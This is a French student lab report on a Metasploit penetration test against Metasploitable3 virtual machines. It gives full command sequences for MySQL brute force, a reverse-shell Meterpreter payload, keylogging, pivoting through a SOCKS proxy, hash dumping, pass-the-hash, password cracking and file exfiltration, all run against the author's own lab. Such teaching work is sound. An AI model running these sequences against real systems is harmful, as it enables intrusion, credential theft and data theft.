Rapport académique sur la sécurité offensive et les tests d'intrusion
J'ai réalisé ce projet dans le cadre de ma seconde année de licence informatique sous la direction du
Professeur Philippe KISLIN, Enseignant-Chercheur en Informatique Ă l'IED (Institut d'Enseignement Ă Distance)
de l'Université Paris 8 Vincennes.
Sur cette page, je présente les étapes de mise en place de mon laboratoire virtuel complet de test d'intrusion
utilisant le Framework Metasploit. Le projet démontre une méthodologie professionnelle de pentest, de la reconnaissance
réseau à l'exploitation avancée avec la création d'une route (pivoting).
Metasploit nâest pas simplement un outil, câest un vĂ©ritable framework dĂ©veloppĂ© Ă lâorigine par H.D. Moore en 2003. Son objectif Ă©tait de faciliter le travail des professionnels de la cybersĂ©curitĂ© en automatisant les tĂąches rĂ©pĂ©titives liĂ©es aux tests dâintrusion, notamment la crĂ©ation, lâadaptation et lâexĂ©cution dâexploits. Au lieu de repartir de zĂ©ro Ă chaque test, Metasploit permet de gagner un temps prĂ©cieux en rĂ©utilisant des modules prĂ©existants.
Le framework, initialement Ă©crit en Perl puis réécrit en Ruby, a connu un grand succĂšs dans la communautĂ© de la cybersĂ©curitĂ©. Il a Ă©tĂ© par la suite acquis par la sociĂ©tĂ© Rapid7, spĂ©cialisĂ©e dans lâanalyse de vulnĂ©rabilitĂ©s.
Aujourdâhui, Metasploit contient plus de 2 400 modules dâexploits, ainsi que de nombreux modules destinĂ©s aux phases prĂ© et post-exploitation. Il permet non seulement de sĂ©lectionner des attaques selon le contexte (grĂące Ă une vaste bibliothĂšque en ligne), mais aussi de crĂ©er des scripts personnalisĂ©s pour automatiser certaines Ă©tapes complexes du pentest.
En rĂ©sumĂ©, Metasploit est un vĂ©ritable couteau suisse du test dâintrusion, capable dâaccompagner un pentesteur du dĂ©but Ă la fin de son audit de sĂ©curitĂ©.
DâaprĂšs les consignes prĂ©sentes sur le dĂ©pĂŽt GitHub du framework 4, en plus dâavoir installĂ© un logiciel de virtualisation (nous avons retenu VirtualBox), il sera nĂ©cessaire dâinstaller les Ă©lĂ©ments suivants:
Une fois ces éléments installés, nous avons procédé comme suit pour mettre en place notre environnement:
git clone https://github.com/rapid7/metasploitable3.git
Dans le rĂ©pertoire du projet clonĂ©, nous avons créé un dossier dĂ©diĂ© Ă chaque machine virtuelle Ă installer. Ensuite, nous avons utilisĂ© la commande vagrant init pour initialiser la configuration spĂ©cifique Ă chaque machine, puis vagrant up pour tĂ©lĂ©charger lâimage correspondante, configurer automatiquement la machine virtuelle et la dĂ©marrer dans VirtualBox.
PS C:\Users\iDom\metasploitable3> mkdir ubuntu1404
PS C:\Users\iDom\metasploitable3> mkdir win2k8
PS C:\Users\iDom\metasploitable3> cd win2k8
PS C:\Users\iDom\metasploitable3\win2k8> vagrant init rapid7/metasploitable3-win2k8
PS C:\Users\iDom\metasploitable3\win2k8> vagrant up
PS C:\Users\iDom\metasploitable3> mkdir ubuntu1404
PS C:\Users\iDom\metasploitable3> cd ubuntu1404
PS C:\Users\iDom\metasploitable3\ubuntu1404> vagrant init rapid7/metasploitable3-ub1404
PS C:\Users\iDom\metasploitable3\ubuntu1404> vagrant up
Nous avons simplement télécharger son image depuis le site officiel, puis installer celle-ci, comme on le voit sur les captures d'écrans ci-dessous.
Dans cette section, nous allons prĂ©senter les diffĂ©rentes Ă©tapes qui nous ont permis de mettre en place un rĂ©seau local entre les machines virtuelles Ubuntu 14.04 et Windows 2008, ainsi quâune connexion internet entre les machines Windows 2008 et Kali Linux.
On utilisera le routeur gratuit Pfsense pour réaliser notre configuration réseau.
Notre objectif est de mettre en place deux réseaux virtuels distincts dans VirtualBox afin de simuler un scénario de segmentation réseau :
Dans VirtualBox, lâoutil Network Manager (menu Fichier > Gestionnaire de rĂ©seau) permet de visualiser les rĂ©seaux Host-only. On constate ici deux rĂ©seaux dĂ©finis :
Ce laboratoire utilisera le premier réseau (10.10.10.128/24) pour relier la machine attaquante, la machine pivot et pfSense sur son interface LAN.
La machine pivot Windows Server 2008 est présente à la fois sur le réseau interne intnet (Adaptateur 2), dédié à la communication avec la machine Ubuntu 14.04, et sur le réseau relié à Internet Réseau privé hÎte (Adaptateur 1 :VirtualBox Host-Only Ethernet Adapter) , utilisé pour la communication avec Kali Linux et pfSense (IP dans le sous-réseau 10.10.10.0/24).
La configuration réseau de la machine virtuelle Windows Server 2008 a été réalisée en accédant au Centre Réseau et Partage depuis le menu Démarrer, puis en modifiant les paramÚtres IPv4 de chaque adaptateur réseau.
Les adresses attribuées sont les suivantes:
La machine Ubuntu 14.04 est connectée uniquement au réseau interne, intnet (Adaptateur 1 : Réseau interne), pour échanger exclusivement avec Windows Server 2008.
La configuration rĂ©seau de la machine Ubuntu 14.04 a Ă©tĂ© effectuĂ©e uniquement pour lâadaptateur rĂ©seau interne (intnet), destinĂ© Ă communiquer avec Windows Server 2008 via lâadresse IP 192.168.100.3/24.
Pour réaliser ce paramétrage, nous avons modifié le fichier de configuration des interfaces réseau en exécutant la commande suivante dans le terminal :
$ sudo nano /etc/network/interfaces
Le contenu du fichier /etc/network/interfaces a été défini comme suit:
# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.100.3
netmask 255.255.255.0
La machine attaquante Kali Linux est reliée exclusivement au Réseau privé hÎte (Adaptateur 1: VirtualBox Host-Only Ethernet Adapter), pour communiquer avec Windows Server 2008 et pfSense (IP dans le sous-réseau 10.10.10.0/24).
Le paramĂ©trage de lâadresse IP a Ă©tĂ© effectuĂ© directement depuis le terminal Ă lâaide de la commande:
$ sudo ip addr add 10.10.10.100/24 dev eth0
Cette configuration permet Ă Kali Linux de disposer dâune adresse fixe 10.10.10.100/24 sur son interface eth0, utilisĂ©e pour initier les attaques vers la machine pivot Windows Server 2008.
âŹ ïž Revenir au menu du rapportLe pare-feu pfSense a Ă©tĂ© dĂ©veloppĂ© sous le systĂšme d'exploitation FreeBSD par Chris Buechler et Scott Ullrich. Il s'agit d'une solution de sĂ©curitĂ© entiĂšrement gratuite et qui d'aprĂšs le site officiel, a dĂ©montrĂ© sa robustesse face Ă de nombreuses solutions commerciales.
On utilisera donc
Nous commençons par télécharger l'ISO d'installation depuis le site officiel
AprĂšs extraction des fichiers tĂ©lĂ©chargĂ©s, nous crĂ©ons une nouvelle machine virtuelle dans VirtualBox. Nous sĂ©lectionnons le type BSD, sous-type FreeBSD (64-bit), et attachons lâimage ISO comme disque dâamorçage.
Lors du premier dĂ©marrage, lâinstallateur Netgate se lance. Nous acceptons les conditions de licence.
Une fois lâinstallation terminĂ©e, nous retirons lâISO puis avant de redĂ©marrer la machine virtuelle,
nous paramétrons son réseau WAN et LAN.
La machine pfSense joue le rÎle de routeur et pare-feu, avec une double connectivité:
On redémarre la machine virtuelle et l'interface de commande de pfSense apparaßt.
Nous accĂ©dons au menu console et choisissons lâoption 2: Set interface(s) IP address, puis sĂ©lectionnons WAN (em0). Nous dĂ©sactivons le DHCP (n) et configurons lâadresse IPv4 statique 192.168.148.128/24 avec comme passerelle 192.168.148.2, dĂ©finie comme passerelle par dĂ©faut (y).
AprĂšs validation, pfSense applique la configuration et confirme que lâadresse IPv4 du WAN est bien dĂ©finie sur 192.168.148.128/24
Nous procĂ©dons ensuite Ă la configuration de lâinterface LAN (em1) depuis le mĂȘme menu console. Nous choisissons de ne pas utiliser le DHCP (n) pour lâadresse IPv4 et attribuons lâadresse statique 10.10.10.128/24. La passerelle IPv4 reste 10.10.10.128 et nous la dĂ©finissons comme passerelle par dĂ©faut (y).
Nous dĂ©sactivons IPv6 (n) puis activons le serveur DHCP sur le LAN (y) avec une plage dâadresses allant de 10.10.10.100 Ă 10.10.10.200. AprĂšs validation, pfSense applique la configuration et confirme que lâadresse IPv4 du LAN est bien dĂ©finie sur 10.10.10.128/24.
Les rÚgles que nous avons mises en place pour le routeur pfSense sont inspirées de celles proposées par Dustin Noe dans son article sur VyOS 11.
Lors du paramétrage des interfaces réseau de pfSense, nous avons défini:
Pour le trafic entrant, le pare-feu autorise:
Pour le trafic sortant, le pare-feu autorise:
Ces rĂšgles de pare-feu permettent de:
$ pfctl -f /etc/pf.conf
Les rĂšgles dĂ©finies dans /etc/pf.conf ne sont pas celles utilisĂ©es par pfSense En effet, avec pfSense, les rĂšgles configurĂ©es via lâinterface web ne sont pas stockĂ©es dans /etc/pf.conf. Elles sont en rĂ©alitĂ© gĂ©nĂ©rĂ©es dynamiquement Ă partir du fichier /conf/config.xml, et chargĂ©es automatiquement via les outils internes de pfSense. Cela signifie que:
Lâoutil arp-scan permet dâidentifier les hĂŽtes actifs sur un rĂ©seau local en envoyant des requĂȘtes ARP. Cette analyse fournit, pour chaque machine dĂ©tectĂ©e, son adresse IP ainsi que son adresse MAC. Selon la documentation officielle, cet outil est particuliĂšrement utile pour dĂ©tecter des hĂŽtes qui pourraient ne pas rĂ©pondre aux sondes ICMP ou TCP classiques.
$ sudo arp-scan -l
DâaprĂšs les rĂ©sultats, lâadresse 10.10.10.2 correspond Ă une machine prĂ©sente sur le rĂ©seau, tandis que lâadresse 10.10.10.128semble ĂȘtre celle du routeur, ce qui est suggĂ©rĂ© par les mentions (locally administered) et (DUP: 2).
âŹ ïž Revenir au menu du rapportLors du premier lancement de Metasploit, il est recommandĂ© dâassocier une base de donnĂ©es afin de pouvoir stocker les rĂ©sultats des analyses rĂ©seau et les rĂ©utiliser directement dans le framework. Pour cela, il faut dĂ©marrer le service PostgreSQL, puis initialiser la base avec les commandes suivantes:
$ sudo systemctl start postgresql
$ sudo msfdb init
On peut ensuite lancer Metasploit Ă lâaide de la commande suivante:
$ sudo msfconsole
On vĂ©rifie lâĂ©tat de la base de donnĂ©es avec:
msf6 > db_status
Les options utilisées pour ce scan sont:
Le scan cible les ports 21, 22, 80, 443, 3306:
msf6 > db_nmap -sS -sV -O -Pn -T1 -p 21,22,80,443,3306 10.10.10.2
DâaprĂšs les rĂ©sultats, le port 443 (HTTPS) est fermĂ©, tandis que les ports 21 (FTP), 22 (SSH), 80 (HTTP) et 3306 (MySQL) sont ouverts. Le systĂšme dâexploitation est possiblement un environnement Windows, cependant la version de cet environnement manque de prĂ©cision. Il pourrait sâagir de Windows Vista, Windows 7 ou de Windows Server 2008 R2.vg
Avant de poursuivre lâexploitation, lâattaquant doit confirmer la version exacte du systĂšme. Cette Ă©tape est essentielle pour sĂ©lectionner un payload compatible avec lâarchitecture et le service ciblĂ©.
La commande hosts permet au pirate de connaĂźtre le nom de la machine cible.
msf6 > hosts
La commande services permet au pirate de connaĂźtre le status des principaux ports de communications de la machine cible
msf6 > services
La commande hosts et la commande services nous rĂ©vĂšle que lâordinateur tourne sous Windows 2008 Server et que des infiltrations pour ĂȘtre rĂ©alisĂ©s sur:
Le Hacker se dĂ©cide en faveur dâune infiltration du systĂšme en tentant de deviner les identifiants du serveur MySQL prĂ©sent sur le port 3306.
mysql_login
Avec la commande use, lâattaquant sĂ©lectionne le module mysql_login,
utilisé pour réaliser une attaque par brute force sur le serveur MySQL.
msf6 > use auxiliary/scanner/mysql/mysql_login
La commande show options affiche les paramĂštres configurables du module.
msf6 > show options
Il y a 4 paramĂštres dont on doit tenir compte ici:
msf6 auxiliary(scanner/mysql/mysql_login)> set PASS_FILE /usr/share/wordlists/fasttrack.txt
msf6 auxiliary(scanner/mysql/mysql_login)> set RHOSTS 10.10.10.2
msf6 auxiliary(scanner/mysql/mysql_login)> set THREADS 10
msf6 auxiliary(scanner/mysql/mysql_login)> set verbose false
msf6 auxiliary(scanner/mysql/mysql_login)> exploit
DâaprĂšs les rĂ©sultats, lâattaque par BruteForce est un succĂšs : lâutilisateur est root et aucun mot de passe nâest configurĂ©. Le manque de vigilance de lâadministrateur de la machine cible offre une porte dĂ©robĂ©e au hackeur.
La commande creds permet dâafficher de maniĂšre synthĂ©tique les identifiants rĂ©cupĂ©rĂ©s.
msf6 auxiliary(scanner/mysql/mysql_login)> creds
mysql_udf_payloadMaintenant que lâattaquant dispose des identifiants, il peut exploiter le service MySQL pour exĂ©cuter du code sur la machine cible. Le module mysql_udf_payload permet dâinjecter une fonction utilisateur (UDF) malveillante afin dâobtenir un accĂšs Meterpreter.
Les paramĂštres essentiels sont:
msf6 auxiliary(scanner/mysql/mysql_login)> back
msf6 > use exploit/multi/mysql/mysql_udf_payload
msf6 exploit(multi/mysql/mysql_udf_payload) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/mysql/mysql_udf_payload)> set LHOST 10.10.10.100
msf6 exploit(multi/mysql/mysql_udf_payload)> set lport 443
msf6 exploit(multi/mysql/mysql_udf_payload)> set RHOSTS 10.10.10.2
msf6 exploit(multi/mysql/mysql_udf_payload)> set PASSWORD ""
msf6 exploit(multi/mysql/mysql_udf_payload)> exploit
GrĂące Ă lâexploitation rĂ©ussie du compte admin MySQL, lâattaquant accĂšde Ă une session Meterpretrer qui reprĂ©sente un shell inversĂ© lui permettant de contrĂŽlĂ© la machine cible Ă distance.
AprĂšs avoir obtenu une session Meterpreter, lâattaquant cherche Ă recueillir davantage dâinformations sur le systĂšme compromis. Il utilise pour cela plusieurs commandes clĂ©s:
meterpreter > screenshot
meterpreter > sysinfo
meterpreter > sysinfo
La sortie indique que le systĂšme dâexploitation est Windows Server 2008 R2 x64, que le nom de lâordinateur est VAGRANT-2008R2, que la langue est en-US et que le domaine est WORKGROUP. Deux utilisateurs sont connectĂ©s, et le Meterpreter utilise un payload x86, ce qui nâempĂȘche pas son exĂ©cution sur une architecture 64 bits.
Lâattaquant souhaite ensuite installer un keylogger, câest-Ă -dire un enregistreur des frappes clavier, afin de collecter des informations sensibles. Pour ce faire, il doit dâabord injecter son payload dans un processus actif de la mĂ©moire vive.
meterpreter > ps explorer
Le processus, explorer.exe (PID 976) est sĂ©lectionnĂ© car il reste actif tant que lâutilisateur est connectĂ©, il a pour mission de charger le menu dĂ©marrer et la barre des tĂąches. Il s'occupe Ă©galement de gĂ©rer le bureau et le papier peint.
meterpreter > migrate 976
meterpreter > run post/windows/capture/keylog_recorder
Les donnĂ©es capturĂ©es rĂ©vĂšlent la rĂ©daction dâun document interne contenant des informations cruciales:
meterpreter > ipconfig
LâexĂ©cution de ipconfig confirme la prĂ©sence dâun rĂ©seau interne cachĂ©, accessible depuis la machine compromise, dont lâadresse IP est 192.168.100.2.
âŹ ïž Revenir au menu du rapportLâattaquant met la session Meterpreter en arriĂšre-plan afin de poursuivre lâanalyse du rĂ©seau interne.
meterpreter > background
DâaprĂšs la documentation officielle Rapid7, ce module effectue une dĂ©couverte ARP pour dĂ©couvrir les hĂŽtes dâun rĂ©seau local Ă partir dâune session Meterpreter. Comme lâoutil arp-scan vu prĂ©cĂ©demment, arp-scanner permet dâidentifier les hĂŽtes actifs sur un rĂ©seau local en envoyant des requĂȘtes ARP et fournira pour chaque machine dĂ©tectĂ©e, son adresse IP ainsi que son adresse MAC.
msf6 > use post/windows/gather/arp_scanner
msf6 post(windows/gather/arp_scanner) > set SESSION 1
msf6 post(windows/gather/arp_scanner) > set RHOSTS 192.168.100.2/24
msf6 post(windows/gather/arp_scanner) > run
Le scan rĂ©vĂšle lâexistence dâune machine interne supplĂ©mentaire (192.168.100.3), confirmant les informations obtenues grĂące au keylogger.
Pour accĂ©der Ă cette machine, qui se trouve sur un rĂ©seau diffĂ©rent, lâattaquant devra:
Le hacker utilisera les modules autoroute et stock_proxy.
Selon Rapid7 , le module autoroute permet de gĂ©rer le routage des sessions via une session Meterpreter existante. Il permet lâutilisation dâun hĂŽte compromis comme passerelle pour atteindre dâautres sous-rĂ©seaux auxquels lâattaquant nâa normalement pas accĂšs. On appelle cette mĂ©thode le « pivoting ».
En clair, nous allons atteindre la machine cachĂ©e sur le rĂ©seau interne de lâentreprise en crĂ©ant une route depuis la machine compromise car câest elle qui possĂšde une connexion internet avec la machine cible.
Pour mener Ă bien la mise en place de cette liaison, il nous faudra configurer le module autoroute avec les informations suivantes:
msf6 post(windows/gather/arp_scanner) > back
mfs6 > use post/multi/manage/autoroute
mfs6 post(multi/manage/autoroute) > show options
mfs6 post(multi/manage/autoroute) > sessions
mfs6 post(multi/manage/autoroute) > set SESSION 1
mfs6 post(multi/manage/autoroute) > set SUBNET 192.168.0.0
mfs6 post(multi/manage/autoroute) > set NETMASK /16
mfs6 post(multi/manage/autoroute) > set run
Lâoption Autoadd recherche les sous-rĂ©seaux valides dans la table de routage et la liste des interfaces de la session compromise, puis leur ajoute des routes. Ainsi, on obtient deux routes principales:
Avant de dĂ©marrer la configuration du proxy, on sâassure avec la commande âroute printâ que la route permettant la connexion vers la machine Windows 2008 a bien Ă©tĂ© ajoutĂ©e Ă la table de routage ainsi que celle permettant lâaccĂšs au rĂ©seau cachĂ©.
mfs6 auxiliary(server/socks_proxy) > route print
Les deux routes sont bien présentes dans la table de routage on peut donc passer à la création du SOCKS_proxy.
Selon les auteurs de lâouvrage Metasploit 2nd Edition, il est dĂ©conseillĂ© dâinstaller et dâexĂ©cuter Nmap directement sur la machine compromise (ici Windows Server 2008), car cela pourrait attirer lâattention de lâadministrateur du systĂšme et rĂ©vĂ©ler la prĂ©sence de lâattaquant.
Pour Ă©viter ce risque, il est prĂ©fĂ©rable dâutiliser le protocole SOCKS combinĂ© Ă ProxyChains afin de faire transiter lâanalyse Nmap depuis la machine attaquante (Kali Linux), Ă travers lâhĂŽte compromis, vers le rĂ©seau interne ciblĂ©.
msf6 post(multi/manage/autoroute) > back
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > options
Avant de lancer le module, lâattaquant doit configurer les paramĂštres du protocole SOCKS qui est particuliĂšrement utile pour rediriger du trafic TCP et UDP via un serveur intermĂ©diaire vers une autre adresse IP. Nous ne modifirons que le paramĂštre suivant:
msf6 auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1
msf6 auxiliary(server/socks_proxy) > run
Selon Metasploit 2nd Edition, lâoutil ProxyChains est recommandĂ© comme client SOCKS afin de permettre Ă la machine attaquante de se connecter au serveur proxy que lâattaquant vient de configurer.
Pour déclarer les paramÚtres du client SOCKS, il faut modifier le fichier proxychains4.conf 16 situé dans le répertoire /etc.
msf6 auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1
msf6 auxiliary(server/socks_proxy) > run
Le serveur proxy Ă©coute maintenant par dĂ©faut sur le port 1080 de la machine attaquante. En utilisant lâoutil Proxychains comme client avec Nmap, tout le trafic TCP et UDP gĂ©nĂ©rĂ© par Nmap passera par ProxyChains (via 127.0.0.1:1080) et sera acheminĂ© vers le serveur proxy sur lâhĂŽte compromis, puis redirigĂ© vers le rĂ©seau interne de lâentreprise.
Maintenant que la route est créée et que le serveur proxy est opĂ©rationnel, lâattaquant peut envisager de lancer une attaque brute force sur lâun des services de lâordinateur cachĂ©.
âŹ ïž Revenir au menu du rapportLe hacker doit dâabord identifier les services vulnĂ©rables exposĂ©s par la machine cachĂ© avant de pouvoir exploiter lâun de ces services en rĂ©alisant une attaque brute force qui selon la CNIL consiste Ă tester sĂ©quentiellement des couples composĂ©s dâun identifiant et dâun mot de passe sur lâinvite de connexion dâun des services de la machine cachĂ©e.
En effet, les services du systĂšme dâexploitation sont accessibles via des ports et ces ports doivent ĂȘtre ouverts pour pouvoir ĂȘtre testĂ©s.
Pour rĂ©aliser ce scanner des vulnĂ©rabilitĂ©s, le hacker lance Nmap via le client Proxychains depuis le terminal de commandes de Kali Linux Ă lâaide de la commande suivante:
$ sudo proxychains nmap -A -n -sT -Pn 192.168.100.3
Selon nmap.org, lâoption:
Ce scan volontairement bruyant a pour but dâĂ©valuer lâĂ©tat des 1000 ports TCP les plus couramment utilisĂ© sur une machine.
DâaprĂšs lâextrait de scan, les ports TCP ouverts sont:
Ă lâissue de ce scan, le hacker semble avoir lâembarras du choix car plusieurs services courants sont ouverts. Il dĂ©cide donc de sâessayer Ă une attaque par brute force sur le serveur FTP.
âŹ ïž Revenir au menu du rapportAvant de lancer notre attaque brute force sur le serveur FTP, assurons-nous quâil ne soit pas accessible en mode Anonyme.
Selon le site guide.ubuntu-fr.org, le mode Anonyme permet dâaccĂ©der au serveur en sâidentifiant avec un compte utilisateur dont les valeurs par dĂ©fauts sont : « anonymous » ou « ftp » pour le nom dâutilisateur et une adresse e-mail pour le mot de passe.
Nous utiliserons pour cela, le module ftp_version.
msf6 auxiliary(server/socks_proxy) > back
msf6 auxiliary(server/socks_proxy) >
msf6 > use auxiliaryscanner/ftp/ftp_version
On configure ce module avec lâadresse Ip de notre cible:
msf6 auxiliary(scanner/ftp/ftp_version) > set RHOSTS 192.168.100.3
msf6 auxiliary(scanner/ftp/ftp_version) > run
La sortie obtenue ne montre pas le message "FTP Anonymous login allowed". Le mode anonyme nâest pas activĂ© sur le serveur FTP.
Le hacker devra donc procĂ©der avec la mĂ©thode brute force sâil souhaite obtenir les identifiants du serveur.
Pour rĂ©aliser lâattaque par brute force, il faut dâabord sĂ©lectionner le dictionnaire de mots de passe qui sera utilisĂ© pour lâattaque.
Selon lâouvrage Metasploit, 2nde Ă©dition, les dictionnaires sont disponibles dans le rĂ©pertoire /usr/share/wordlists, comme le montre la capture dâĂ©cran ci-dessous.
On sĂ©lectionne comme indiquĂ© dans lâouvrage le dictionnaire rockyou que lâon extrait de son archive compressĂ©e au format gz Ă lâaide de la commande gunzip.
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
Dans msf6, nous allons maintenant sélectionner le module ftp_login et le configurer comme suit:
msf6 auxiliary(scanner/ftp/ftp_version) > back
msf6 > use auxiliary/scanner/ftp/ftp_login
msf6 auxiliary(scanner/ftp/ftp_login) > set RHOSTS 192.168.100.3
msf6 auxiliary(scanner/ftp/ftp_login) > set USER_FILE
/usr/share/wordlists/rockyou.txt
msf6 auxiliary(scanner/ftp/ftp_login) > set PASS_FILE
/usr/share/wordlists/rockyou.txt
AprĂšs avoir configurĂ© le module, celui-ci est lancĂ© Ă lâaide de la commande run:
msf6 auxiliary(scanner/ftp/ftp_login) > run
Les premiĂšres tentatives se soldent par un Ă©chec comme on peut le voir sur la capture dâĂ©cran ci-dessous.
AprĂšs prĂšs de 48 heures dâexĂ©cution, lâattaquant se rĂ©sout Ă abandonner, jugeant cette approche inefficace
LâidĂ©e retenue serait donc de tenter une attaque par brute force sur le serveur Tomcat.
Dans msf6, nous allons maintenant rechercher le module apache tomcat:
msf6 auxiliary(scanner/ftp/ftp_login) > back
msf6 > search apache tomcat
msf6 > use auxiliary /scanner/http/tomcat_mgr_login
et le configurer comme suit:
msf6 auxiliary (scanner/http/tomcat_mgr_login) > set RHOSTS 192.168.100.3
msf6 auxiliary (scanner/http/tomcat_mgr_login) > set THREADS 50
msf6 auxiliary (scanner/http/tomcat_mgr_login) > set RPORT 8180
msf6 auxiliary (scanner/http/tomcat_mgr_login) > set VERBOSE false
msf6 auxiliary (scanner/http/tomcat_mgr_login) > set STOP_ON_SUCCESS false
AprĂšs avoir configurĂ© le module, celui-ci est lancĂ© Ă lâaide de la commande run:
msf6 auxiliary (scanner/http/tomcat_mgr_login) > run
Lâinterruption brutale de lâattaque, avant mĂȘme son dĂ©marrage effectif, pousse le hacker Ă vĂ©rifier lâaccessibilitĂ© du port du service.
proxychains nmap -sS -Pn -p 8180 192.168.100.3
Selon le site nmap.org, les options utilisées sont:
La sortie affichĂ©e dans le terminal Kali ci-dessus, montre que le port 8180 a le statut filtered, ce qui indique quâil est probablement filtrĂ© ou bloquĂ© par un pare-feu.
Les tentatives dâintrusion sur les serveurs FTP et Tomcat par brute force se sont soldĂ©es par des Ă©checs, soit parce que le temps nĂ©cessaire pour deviner la bonne combinaison identifiant/mot de passe Ă©tait trop long, soit parce que le port Ă©tait tout simplement bloquĂ© par un pare-feu.
âŹ ïž Revenir au menu du rapportLe pirate adopte dĂ©sormais une autre stratĂ©gie : lâusurpation de lâensemble des mots de passe systĂšme de la machine dĂ©jĂ compromise, Ă savoir le serveur Windows Server 2008 R2 Standard. Pour ce faire, il utilisera le module post-exploitation smart_hashdump.
msf6 > sessions
msf6 > sessions -i 1
Une fois connectĂ©, il charge lâextension priv afin dâactiver les privilĂšges administrateur dans Meterpreter, ce qui lui permet dâextraire les hachages des noms dâutilisateur et mots de passe du systĂšme.
meterpreter > use priv
Selon les auteurs de lâouvrage Metasploit: The Penetration Testerâs Guide, 2e Ă©dition, ces hachages correspondent Ă la forme chiffrĂ©e de ces informations, conformĂ©ment aux protocoles LAN Manager (LM), NT LAN Manager (NTLM) et NT LAN Manager v2 (NTLMv2).
meterpreter > run post/windows/gather/smart_hashdump
Lâutilisation de cette technique est rendu possible du fait de lâexistence dâune faille 17 dans la conception du protocole NTLM qui accepte les hachages du mot de passe de lâutilisateur peut se faire passer pour lui.
Le pirate va donc utiliser le module windows/smb/psexec pour réaliser cette attaque.
meterpreter > background
msf6 > use exploit/windows/smb/psexec
Il le configure comme suit:
msf6 exploit(psexec)> set PAYLOAD windows/meterpreter/reverse_tcp
msf6 exploit(psexec)> set SESSION 1
msf6 exploit(psexec)> set LPORT 443
msf6 exploit(psexec)> set RHOST 192.168.100.3
msf6 exploit(windows/smb/psexec) > set SMBUser Administrator
msf6 exploit(psexec)> set SMBPass aad3b435b51404eeaad3b435b51404ee:
e02bc503339d51f71d913c245d35b50b
msf6 exploit(psexec)> exploit
La technique « pass the hash » nâayant pas abouti, le pirate dĂ©cide alors de tenter de dĂ©coder les mots de passes hachĂ©s Ă lâaide du logiciel de cassage de mots de passe, John the Ripper.
John the Ripper est un logiciel libre conçu pour Ă©valuer la soliditĂ© des mots de passe en tentant de les casser. Il utilise principalement des attaques par dictionnaire. Selon WikipĂ©dia, ce programme reconnaĂźt automatiquement le type de hachage employĂ© (MD5, NTLM, SHA-2, etc) et en plus dâoffrir un large choix dâalgorithmes dâattaque permet de relancer une attaque qui a Ă©tĂ© interrompue.
Depuis Metasploit, le pirate saisit la commande creds qui permet de gérer les identifiants trouvés et utilisés pour les machines ciblées.
msf6 > creds
En examinant la sortie de la commande creds, le pirate remarque que trois entrées correspondent à la machine cachée (192.168.100.3). Il va donc utiliser la commande grep pour filtrer et afficher uniquement les informations relatives à ces entrées.
msf6 > grep 192.168.100.3 creds
La commande loot lui permet ensuite de localiser le fichier contenant les noms dâutilisateurs et leurs mot de passe hachĂ©s.
msf6 > loot
Pour prĂ©parer lâattaque avec John the Ripper, le pirate copie ce fichier vers le dossier Documents avec la commande cp.
msf6 > cp /root/.msf4/loot/20250812163411_default_10.10.10.2_windows.hashes_283651.txt
/home/vagrant/Documents
Pour lancer le cassage des mots de passes hachés contenus dans le fichier, le pirate saisit la commande suivante:
$ john --format=NT ~/Documents/20250812163411_default_10.10.10.2_windows.hashes_283651.txt
Ă lâaide de lâoption -show, lâattaquant peut dĂ©sormais afficher les mots de passe en clair:
$ john --show --format=NT
~/Documents/20250812163411_default_10.10.10.2_windows.hashes_283651.txt
Le pirate constate que lâutilisateur vagrant est prĂ©sent Ă la fois sur la machine Windows 2008 (10.10.10.2) et sur la machine cachĂ©e (192.168.100.3). Ce compte sera donc utilisĂ© pour tenter une connexion au serveur FTP.
Pour cela, le pirate active à distance une session sur la machine Windows 2008 via le Meterpreter puis saisit manuellement les identifiants trouvés pour se connecter au serveur FTP.
âŹ ïž Revenir au menu du rapportLe pirate souhaite Ă©tablir une session graphique Ă distance sur la machine compromise. Pour ce faire, il commence par identifier le numĂ©ro de session afin de sây connecter.
Les commandes suivantes sont exécutées:
msf6 > sessions
msf6 > sessions -i 1
Une fois connectĂ©, il charge le module enable_rdp, qui active le Bureau Ă distance via le protocole RDP. Selon les auteurs de Metasploit: The Penetration Testerâs Guide, 2e Ă©dition, ce module permet de crĂ©er un tunnel pour la communication graphique et dâinteragir avec le bureau de la cible.
meterpreter > run post/windows/manage/enable_rdp
Depuis le terminal Kali Linux, il utilise ensuite les identifiants du compte vagrant pour tenter une connexion graphique au Bureau distant de la machine Windows 2008 compromise avec lâoutil rdesktop:
$ sudo rdesktop 10.10.10.2 -u vagrant -p vagrant
Une fois connectĂ©, le pirate pourra tenter de sâintroduire dans le serveur FTP avec les identifiants du compte vagrant.
Une fois connectĂ©, il charge le module enable_rdp, qui active le Bureau Ă distance via le protocole RDP. Selon les auteurs de Metasploit: The Penetration Testerâs Guide, 2e Ă©dition, ce module permet de crĂ©er un tunnel pour la communication graphique et dâinteragir avec le bureau de la cible.
C:\Users\vagrant>ftp 192.168.100.3
User <192.168.100.3:>: vagrant
Password: vagrant
TĂ©lĂ©chargement du fichier Ă lâaide de la commande get prĂ©sent dans le dossier projections_Fi prĂ©sent dans le fichier /home/vagrant.
ftp> pwd
ftp> ls
ftp> cd projections_Fi
ftp> ls
ftp> get Document_confidentiel.rtf
Depuis le Meterpreter, le pirate lance le shell pour pouvoir consulter le systĂšme de fichiers de la machine compromise.
meterpreter > shell
c:\wamp\bin\mysql5.5.20\data>cd c:\Users\vagrant
Le pirate sâassure que le tĂ©lĂ©chargement est bien effectif en consultant Ă lâaide de la commande ls, le dossier vagrant prĂ©sent rĂ©pertoire utilisateur.
c:\Users\vagrant>ls
Depuis le Meterpreter, le pirate va tĂ©lĂ©charger le fichier depuis la machine compromise le document Ă lâaide de la commande sownload.
meterpreter > download "C:\Users\vagrant\Document_confidentiel.rtf" /home/vagrant
La commande ls -l, permet au pirate de sâassurer que le fichier est bien prĂ©sent sur sa machine.
ls -l
Afin de vérifier la lisibilité du document, le pirate utilise la commande cat pour en afficher le
contenu directement dans le terminal. Rappelons que ce document aurait Ă©galement pu ĂȘtre consultĂ©
avant son téléchargement depuis le serveur FTP, en utilisant la commande get
$ cat Document_confidentiel.rtf
